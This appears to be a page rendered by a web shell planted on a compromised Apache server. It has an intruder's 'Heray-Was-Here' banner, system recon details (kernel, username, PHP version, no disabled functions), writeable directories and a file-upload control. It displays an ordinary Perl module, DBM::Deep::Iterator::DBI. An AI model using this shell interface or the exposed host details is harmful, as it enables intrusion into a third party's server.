Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /proc/self/root/proc/self/root/usr/share/perl5/vendor_perl/DBM/Deep/Iterator/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/proc/self/root/usr/share/perl5/vendor_perl/DBM/Deep/Iterator/DBI.pm
package DBM::Deep::Iterator::DBI;

use strict;
use warnings FATAL => 'all';

use base qw( DBM::Deep::Iterator );

sub reset {
    my $self = shift;

    eval { $self->{sth}->finish; };
    delete $self->{sth};

    return;
}

sub get_next_key {
    my $self = shift;
    my ($obj) = @_;

    unless ( exists $self->{sth} ) {
        # For mysql, this needs to be RAND()
        # For sqlite, this needs to be random()
        my $storage = $self->{engine}->storage;
        $self->{sth} = $storage->{dbh}->prepare(
            "SELECT `key` FROM datas WHERE ref_id = ? ORDER BY "
          . $storage->rand_function,
        );
        $self->{sth}->execute( $self->{base_offset} );
    }

    my ($key) = $self->{sth}->fetchrow_array;
    return $key;
}

1;
__END__

Hry